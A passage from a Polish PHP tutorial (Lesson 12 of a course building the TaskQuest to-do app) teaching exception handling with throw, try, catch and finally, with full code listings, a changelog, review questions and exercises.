        throw new Exception("Linia $numerLinii: termin '{$wiersz&#91;3]}' nie ma formatu RRRR-MM-DD.");
    }

    if ($wiersz&#91;4] !== '0' &amp;&amp; $wiersz&#91;4] !== '1') {
        throw new Exception("Linia $numerLinii: pole wykonane musi mieć wartość 0 albo 1.");
    }

    if (!preg_match('/^\d+$/', $wiersz&#91;0]) || !preg_match('/^\d+$/', $wiersz&#91;5])) {
        throw new Exception("Linia $numerLinii: id i xp muszą być liczbami całkowitymi.");
    }
}


function wczytajZadania(string $sciezka): array
{
    if (!is_file($sciezka)) {
        throw new Exception("Plik z zadaniami nie istnieje.");
    }

    if (!is_readable($sciezka)) {
        throw new Exception("Brak uprawnień do odczytu pliku z zadaniami.");
    }

    $uchwyt = fopen($sciezka, 'r');

    if ($uchwyt === false) {
        throw new Exception("Nie udało się otworzyć pliku z zadaniami.");
    }

    $zadania = &#91;];

    try {
        fgetcsv($uchwyt, 0, ';', '"', '');   // pierwszy wiersz to nagłówek — pomijamy go
        $numerLinii = 1;

        while (($wiersz = fgetcsv($uchwyt, 0, ';', '"', '')) !== false) {
            $numerLinii++;

            if ($wiersz === &#91;null]) {
                continue;   // pusta linia — niegroźna, pomijamy ją jak w Lekcji 11
            }

            sprawdzWierszZadania($wiersz, $numerLinii);

            $zadania&#91;] = &#91;
                'id' =&gt; (int) $wiersz&#91;0],
                'tytul' =&gt; $wiersz&#91;1],
                'opis' =&gt; $wiersz&#91;2],
                'termin' =&gt; $wiersz&#91;3],
                'wykonane' =&gt; $wiersz&#91;4] === '1',
                'xp' =&gt; (int) $wiersz&#91;5]
            ];
        }
    } finally {
        fclose($uchwyt);   // wykona się zawsze — także wtedy, gdy wyżej poleciał wyjątek
    }

    return $zadania;
}


function zapiszZadania(string $sciezka, array $zadania): void
{
    $uchwyt = fopen($sciezka, 'w');

    if ($uchwyt === false) {
        throw new Exception("Nie udało się zapisać pliku z zadaniami.");
    }

    fputcsv($uchwyt, &#91;'id', 'tytul', 'opis', 'termin', 'wykonane', 'xp'], ';', '"', '');

    foreach ($zadania as $zadanie) {
        fputcsv($uchwyt, &#91;
            $zadanie&#91;'id'],
            $zadanie&#91;'tytul'],
            $zadanie&#91;'opis'],
            $zadanie&#91;'termin'],
            $zadanie&#91;'wykonane'] ? 1 : 0,
            $zadanie&#91;'xp']
        ], ';', '"', '');
    }

    fclose($uchwyt);
}
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';


// --- dane użytkownika ---
$imieUzytkownika = "Kama";
$login = "Kama_2026";


// --- dane zadań (z pliku CSV) ---
$zadania = &#91;];
$bladZadan = null;

try {
    $zadania = wczytajZadania(PLIK_ZADAN);
} catch (Exception $wyjatek) {
    $bladZadan = $wyjatek-&gt;getMessage();
}


// --- dane grywalizacji (symulowane) ---
$xp = 99;
$streak = 5;
$dataOstatniejAktywnosci = "2026-09-14";


// --- wywołania funkcji: grywalizacja ---
$poziom = obliczPoziom($xp);
$tytul = pobierzTytul($poziom);
$xpWAktualnymPoziomie = obliczXpWAktualnymPoziomie($xp, $poziom);
$procentPostepu = obliczProcentPostepu($xpWAktualnymPoziomie);
$brakujeXp = ileBrakujeXp($xp, $poziom);

//pasek postępu
$liczbaAktywnychSegmentow = (int) ($procentPostepu / 10);
$progNastepnegoPoziomu = $poziom * XP_NA_POZIOM;


// --- wywołania funkcji: lista zadań ---
$wykonaneZadania = pobierzWykonaneZadania($zadania);
$aktywneZadania = pobierzAktywneZadania($zadania);

$liczbaWszystkich = count($zadania);
$liczbaWykonanych = count($wykonaneZadania);
$liczbaAktywnych = count($aktywneZadania);

$xpDoZdobycia = sumujXp($aktywneZadania);

$zadaniaWgTerminu = sortujPoTerminie($zadania);
$aktywneWgTerminu = sortujPoTerminie($aktywneZadania);

// uproszczenie (symulacja): aktywność = wykonane jakiekolwiek zadanie z listy
$zadanieWykonane = $liczbaWykonanych &gt; 0;

$streak = aktualizujStreak($streak, $dataOstatniejAktywnosci, $zadanieWykonane);


// --- prezentacja ---
$nazwaStrony = 'TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;p&gt;Zdobywaj punkty za wykonane zadania!&lt;/p&gt;

        &lt;?php
        if (walidujLogin($login)) {
            echo "&lt;p&gt;Login poprawny: $login&lt;/p&gt;";
        } else {
            echo "&lt;p&gt;Login jest niepoprawny.&lt;/p&gt;";
        }
        ?&gt;

        &lt;h2&gt;Witaj, &lt;?= $imieUzytkownika; ?&gt;!&lt;/h2&gt;

        &lt;p&gt;Poziom: &lt;strong&gt;&lt;?= $poziom; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Tytuł: &lt;strong&gt;&lt;?= $tytul; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Łączne XP: &lt;strong&gt;&lt;?= $xp; ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h3&gt;
            &lt;?= "Masz $xpWAktualnymPoziomie XP z " . XP_NA_POZIOM . " XP potrzebnych do poziomu " . ($poziom + 1) . " (" . round($procentPostepu, 2) . "%)"; ?&gt;
        &lt;/h3&gt;

        &lt;div class="pasek-xp"&gt;
            &lt;?php
            for ($segment = 1; $segment &lt;= 10; $segment++) {
                if ($segment &lt;= $liczbaAktywnychSegmentow) {
                    echo "█";
                } else {
                    echo "░";
                }
            }
            ?&gt;
        &lt;/div&gt;

        &lt;p&gt;Kolejny próg: &lt;?= $progNastepnegoPoziomu; ?&gt; XP&lt;/p&gt;
        &lt;p&gt;Brakuje XP: &lt;strong&gt;&lt;?= $brakujeXp; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Streak: &lt;strong&gt;&lt;?= $streak ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h2&gt;Twoje zadania&lt;/h2&gt;

        &lt;?php if ($bladZadan !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się wczytać zadań: &lt;?= $bladZadan; ?&gt;&lt;/p&gt;
        &lt;?php } else { ?&gt;

        &lt;p&gt;
            Wszystkie: &lt;strong&gt;&lt;?= $liczbaWszystkich; ?&gt;&lt;/strong&gt; |
            Wykonane: &lt;strong&gt;&lt;?= $liczbaWykonanych; ?&gt;&lt;/strong&gt; |
            Aktywne: &lt;strong&gt;&lt;?= $liczbaAktywnych; ?&gt;&lt;/strong&gt;
        &lt;/p&gt;
        &lt;p&gt;XP do zdobycia z aktywnych zadań: &lt;strong&gt;&lt;?= $xpDoZdobycia; ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;?php
        if ($liczbaWszystkich === 0) {
            echo "&lt;p&gt;Brak zadań.&lt;/p&gt;";
        } elseif ($liczbaAktywnych === 0) {
            echo "&lt;p&gt;Wszystkie zadania wykonane — świetna robota!&lt;/p&gt;";
        } else {
            if ($xpDoZdobycia &gt;= $brakujeXp) {
                echo "&lt;p class=\"awans\"&gt;Wykonując aktywne zadania, awansujesz na poziom " . ($poziom + 1) . "!&lt;/p&gt;";
            } else {
                echo "&lt;p&gt;Aktywne zadania nie wystarczą jeszcze na awans — brakuje " . ($brakujeXp - $xpDoZdobycia) . " XP.&lt;/p&gt;";
            }

            $najpilniejsze = $aktywneWgTerminu&#91;0];
            echo "&lt;p&gt;Najpilniejsze zadanie: &lt;strong&gt;" . wyczyscTytul($najpilniejsze&#91;'tytul']) . "&lt;/strong&gt; — "
                . komunikatTerminu($najpilniejsze&#91;'termin']) . "&lt;/p&gt;";
        }

        echo "&lt;h3&gt;Lista zadań (wg terminu)&lt;/h3&gt;";

        foreach ($zadaniaWgTerminu as $zadanie) {
            $tytulCzysty = wyczyscTytul($zadanie&#91;'tytul']);
            $znacznik = $zadanie&#91;'wykonane'] ? "&#91;X]" : "&#91; ]";
            $klasa = $zadanie&#91;'wykonane'] ? "zadanie wykonane" : "zadanie";

            echo "&lt;div class=\"$klasa\"&gt;";
            echo "&lt;p&gt;&lt;strong&gt;$znacznik $tytulCzysty&lt;/strong&gt; — {$zadanie&#91;'xp']} XP&lt;/p&gt;";
            echo "&lt;p&gt;" . skrocOpis($zadanie&#91;'opis'], 50) . "&lt;/p&gt;";
            echo "&lt;p&gt;Termin: {$zadanie&#91;'termin']}";

            if (!$zadanie&#91;'wykonane']) {
                echo " — " . komunikatTerminu($zadanie&#91;'termin']);
            }

            echo "&lt;/p&gt;";

            if (stripos($tytulCzysty, 'PHP') !== false) {
                echo "&lt;p&gt;To zadanie dotyczy PHP.&lt;/p&gt;";
            }

            echo "&lt;/div&gt;";
        }
        ?&gt;
        &lt;?php } ?&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;&lt;?= $nazwaStrony; ?&gt;&lt;/title&gt;
    &lt;style&gt;
        body { font-family: Arial, sans-serif; max-width: 700px; margin: 40px auto; padding: 20px; }
        .panel { border: 1px solid #ccc; padding: 24px; border-radius: 12px; }
        .pasek-xp { display: flex; gap: 4px; margin: 10px 0; }
        .segment { width: 32px; height: 18px; background: #ddd; border-radius: 3px; }
        .segment.aktywny { background: #555; }
        .awans { font-weight: bold; }
        .zadanie { border: 1px solid #ddd; border-radius: 8px; padding: 4px 16px; margin: 10px 0; }
        .zadanie.wykonane { background: #f2f2f2; color: #666; }
        .blad { border: 1px solid #c00; background: #fdecec; color: #900; border-radius: 8px; padding: 8px 16px; }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class="panel"&gt;
        &lt;h1&gt;TaskQuest&lt;/h1&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.2&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika, $login
$xp, $poziom, $tytul, $xpWAktualnymPoziomie, $procentPostepu, $brakujeXp,
$liczbaAktywnychSegmentow, $progNastepnegoPoziomu
$streak, $dataOstatniejAktywnosci, $zadanieWykonane
$zadania, $wykonaneZadania, $aktywneZadania, $liczbaWszystkich, $liczbaWykonanych,
$liczbaAktywnych, $zadaniaWgTerminu, $aktywneWgTerminu, $xpDoZdobycia
$nazwaStrony
define('XP_NA_POZIOM', 100), define('PLIK_ZADAN', ...)

wszystkie funkcje z Lekcji 1–11 (kod bez zmian, poza dwiema funkcjami plikowymi — patrz niżej)
struktura tablicy $zadania (klucze: id, tytul, opis, termin, wykonane, xp)
format data/zadania.csv
</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan                       // index.php: null albo komunikat o awarii wczytania zadań
sprawdzWierszZadania()           // includes/funkcje_plikow.php: rzuca wyjątek, gdy wiersz CSV jest zły
.blad                            // klasa CSS w header.php
</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code> (oraz poznane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">getCode()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">getLine()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">getTraceAsString()</code>), wyjątki lecące w górę przez funkcje, rozróżnienie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>: przy awarii pliku i przy uszkodzonym wierszu <strong>rzuca wyjątek</strong> (zamiast zwracać <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code> / po cichu pomijać wiersz); pustą linię nadal pomija; plik zamyka w <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>: typ zwracany <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code>; gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> się nie uda, rzuca wyjątek (dotychczas zwracała <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, którego nikt nie sprawdzał),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: wczytanie zadań w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>; przy awarii sekcja zadań pokazuje ramkę z komunikatem,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.2</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<ul class="wp-block-list">
<li>z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> instrukcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (count($wiersz) !== 6) { continue; }</code> — po cichu gubiła zadania; jej rolę przejęła <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> (która zgłasza problem),</li>



<li>z <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> instrukcje <code class="prettyprint lang-sql" style="font-size: 0.85em;">return false;</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">return true;</code> — funkcja zgłasza awarię wyjątkiem.</li>
</ul>



<p class="wp-block-paragraph">Żadna zmienna ani funkcja z Lekcji 11 nie została usunięta.</p>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 12 TaskQuest odróżnia „brak zadań” od awarii. Gdy plik z zadaniami nie istnieje, nie da się go odczytać albo któryś wiersz jest uszkodzony, aplikacja nie udaje, że wszystko gra: pokazuje w ramce konkretny komunikat (z numerem linii), a reszta strony — poziom, XP, pasek i streak — działa dalej. Plik jest zawsze poprawnie zamykany, a zły termin, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> zostają zatrzymane przy wczytywaniu, zamiast wywracać stronę w innym miejscu. Zapis zadań też nie potrafi już „udać”, że się udał.</p>
</blockquote>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię wyjaśnić, co robią throw, try, catch i finally.
&#91; ] Wiem, że po throw reszta bloku try jest pomijana, a niezłapiony wyjątek kończy skrypt.
&#91; ] Rozumiem regułę: kto wykrywa problem — rzuca; kto wie, co z nim zrobić — łapie.
&#91; ] Wiem, kiedy NIE rzucać wyjątku (pusty plik, zły login, wszystko wykonane).
&#91; ] wczytajZadania() rzuca wyjątki: brak pliku, brak uprawnień, błąd fopen(), zły wiersz.
&#91; ] Mam sprawdzWierszZadania() z czterema sprawdzeniami (liczba pól, termin, wykonane, id/xp).
&#91; ] wczytajZadania() zamyka plik w bloku finally, a return $zadania; jest poza try.
&#91; ] zapiszZadania() ma typ void i rzuca wyjątek, gdy nie może otworzyć pliku.
&#91; ] index.php ma try/catch, $bladZadan i ramkę .blad; $zadania ma wartość początkową &#91;].
&#91; ] Test 1 (13 przypadków) — przewidziałam/przewidziałem wyniki i wszystkie się zgadzają.
&#91; ] Test 3 daje bool(true), Test 4 — wszystkie sześć wierszy zgodne z tabelą.
&#91; ] Strona główna wygląda jak po Lekcji 11 (różnice: TaskQuest 1.2 i reguła .blad).
&#91; ] diagnostyka.php nadal pokazuje 11 razy &#91;OK].
&#91; ] Usunęłam/usunąłem brudnopis.php i data/test.csv, przywróciłam/przywróciłem zadania.csv.
&#91; ] Przeprowadziłam/przeprowadziłem eksperymenty i przywróciłam/przywróciłem kod.
</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li><br /><p>Co robi <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code>, co <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, a co <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>? Co dzieje się z linią kodu znajdującą się w bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> <strong>po</strong> linii, w której poleciał wyjątek?</p><br /></li>



<li><br /><p>Przewidź, co wypisze poniższy kod (litera po literze), i uzasadnij kolejność:</p><br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">function f(int $n): int<br />{<br />    if ($n &lt; 0) {<br />        throw new Exception("ujemna");<br />    }<br />    return $n * 2;<br />}<br /><br />try {<br />    echo "A ";<br />    echo f(3) . " ";<br />    echo f(-1) . " ";<br />    echo "B ";<br />} catch (Exception $wyjatek) {<br />    echo "C ";<br />} finally {<br />    echo "D ";<br />}<br />echo "E";<br /></code></pre><br /></li>



<li><br /><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> <strong>nie łapie</strong> własnego wyjątku, tylko rzuca go dalej? Co wie <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, czego nie wie <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>?</p><br /></li>



<li><br /><p>Plik z zadaniami jest pusty, a drugi plik w ogóle nie istnieje. Dlaczego tylko drugi przypadek rzuca wyjątek? Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> nadal zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>, a nie rzuca wyjątku dla złego loginu?</p><br /></li>



<li><br /><p>Co stanie się na stronie po zmianie nazwy <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, jeśli w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> wpiszesz pusty <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek) { }</code>? Które zdanie z Lekcji 11 znów będzie prawdziwe?</p><br /></li>



<li><br /><p>Czym różni się <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> wewnątrz pętli od <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> wokół całej pętli (Eksperyment 1)? W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> pierwszy uszkodzony wiersz przerywa wczytywanie <strong>całej</strong> listy. Jakie to ma zalety (dla wiarygodności danych), a jakie wady (dla użytkownika)? Jak inaczej dałoby się to rozwiązać?</p><br /></li>



<li><br /><p>Po co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">fclose()</code> jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code>, a nie po pętli? Dlaczego brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> nie dałby widocznego efektu w naszej małej aplikacji, a mimo to jest złym nawykiem?</p><br /></li>



<li><br /><p>Wywołujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp(50, "abc")</code> w bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code>. Co się stanie i dlaczego? Czy to dobrze, że taki błąd zatrzymuje program?</p><br /></li>



<li><br /><p>Termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-13-45</code> w CSV przechodzi nasze sprawdzenie. Gdzie i w jaki sposób ta awaria się objawi? Jak można ją wyłapać przy wczytywaniu?</p><br /></li>



<li><br /><p>Dlaczego użytkownikowi pokazujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">getMessage()</code>, ale <code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">getTraceAsString()</code> — nie? W której lekcji wrócimy do tego tematu?</p><br /></li>



<li><br /><p>Zmiana <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code> na wyjątek jest w tej chwili bezpieczna. Dlaczego? Co musiałabyś/musiałbyś zrobić, gdyby ta funkcja była wywoływana w dwudziestu miejscach aplikacji?</p><br /></li>
</ol>



<h1 class="wp-block-heading">Zadanie końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Wybierz <strong>jedno</strong> (albo oba):</p>



<p class="wp-block-paragraph"><strong>A) Sprawdzanie prawdziwej daty.</strong> Termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-13-45</code> ma poprawny kształt, ale nie istnieje w kalendarzu. Rozbuduj <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> tak, żeby taki termin zgłaszał wyjątek <code class="prettyprint lang-sql" style="font-size: 0.85em;">Linia N: termin 'X' nie istnieje w kalendarzu.</code> Do sprawdzenia użyj funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">checkdate($miesiac, $dzien, $rok)</code>, która przyjmuje trzy liczby całkowite i zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>. Trzy liczby z tekstu <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code> wydobędziesz np. przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">explode('-', $wiersz[3])</code> i rzutowanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>. Przetestuj: <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-13-45</code> mają być odrzucone, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-28</code> przyjęte. Umieść nowe sprawdzenie <strong>po</strong> sprawdzeniu kształtu — dlaczego kolejność jest ważna?</p>



<p class="wp-block-paragraph"><strong>B) Dziennik awarii.</strong> Napisz funkcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszBladDoLogu(string $komunikat, string $plik, int $linia): void</code> (w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>), która <strong>dopisuje</strong> (nie kasuje!) do pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/taskquest.log</code> linię w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-09-21 10:15:03 — Plik z zadaniami nie istnieje. (funkcje_plikow.php:29)</code>. Data: <code class="prettyprint lang-sql" style="font-size: 0.85em;">date('Y-m-d H:i:s')</code>. Dopisywanie zrób przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents()</code> z flagą <code class="prettyprint lang-sql" style="font-size: 0.85em;">FILE_APPEND</code>, a katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/</code> utwórz, jeśli go nie ma (<code class="prettyprint lang-sql" style="font-size: 0.85em;">is_dir()</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">mkdir()</code>, jak w Lekcji 10). Wywołaj funkcję w <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, przekazując <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek-&gt;getMessage()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">basename($wyjatek-&gt;getFile())</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek-&gt;getLine()</code>. Zadbaj o to, żeby <strong>zapisywanie logu nigdy nie zepsuło strony</strong> — jeśli zapis się nie uda, użytkownik nadal ma zobaczyć ramkę z komunikatem. Tu właśnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">getFile()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">getLine()</code> są na swoim miejscu: to informacje dla programisty, nie dla odwiedzającego. Dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">logs/taskquest.log</code> do listy w diagnostyce <strong>tylko wtedy</strong>, gdy uznasz go za stałą część projektu.</p>



<p class="wp-block-paragraph">Nie potrzebujesz niczego, czego nie poznałaś/poznałeś do tej pory (poza <code class="prettyprint lang-sql" style="font-size: 0.85em;">checkdate()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">explode()</code> z podpowiedzi).</p>



<h1 class="wp-block-heading">Most do Lekcji 13</h1>



<p class="wp-block-paragraph">TaskQuest potrafi już bezpiecznie wczytać zadania i głośno zgłosić problem. Ale dane wciąż wpisujemy ręcznie w edytorze. Kama chce <strong>dodać zadanie z poziomu strony</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">formularz w przeglądarce   →  ???  →  PHP  →  zapiszZadania()  →  data/zadania.csv
</code></pre>



<p class="wp-block-paragraph">Zaraz pojawią się pytania, na które ta lekcja już częściowo zna odpowiedź:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Użytkownik zostawi pusty tytuł          →  kto to sprawdzi i jak zgłosi?
W polu XP wpisze "dużo"                 →  jak zatrzymać złe dane przy wejściu?
zapiszZadania() nie zdoła otworzyć pliku →  co zobaczy użytkownik po kliknięciu "Dodaj"?
</code></pre>



<p class="wp-block-paragraph">Wyjątki dają nam sposób zgłaszania i obsługi takich sytuacji. Brakuje jeszcze <strong>sposobu, w jaki PHP w ogóle dostaje dane z przeglądarki</strong>. To temat Lekcji 13: formularze HTML oraz metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">GET</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">POST</code>.</p>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h1 class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h1 id="dodatek" class="wp-block-heading">W skrócie</h1>



<ul class="wp-block-list">
<li><strong>Wyjątek to obiekt.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Exception('komunikat')</code> sam z siebie nic nie robi — dopiero <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code> przerywa działanie kodu.</li>



<li><strong>Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw</code> reszta bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> jest pomijana.</strong> Sterowanie przeskakuje do pasującego <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>.</li>



<li><strong>Wyjątek leci w górę.</strong> Jeśli funkcja go nie łapie, przelatuje do funkcji wywołującej, i dalej — aż trafi na <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>. Jak nie trafi: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Exception</code> i koniec skryptu.</li>



<li><strong>Reguła podziału ról:</strong> kto wykrywa problem — rzuca; kto wie, co z problemem zrobić — łapie.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> dopasowuje po typie.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $w)</code> złapie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> i każdą klasę po niej dziedziczącą. Przy kilku blokach <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> kolejność idzie od najbardziej szczegółowego do najbardziej ogólnego — <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception)</code> postawiony jako pierwszy „zasłoni&#8221; wszystkie pozostałe.</li>



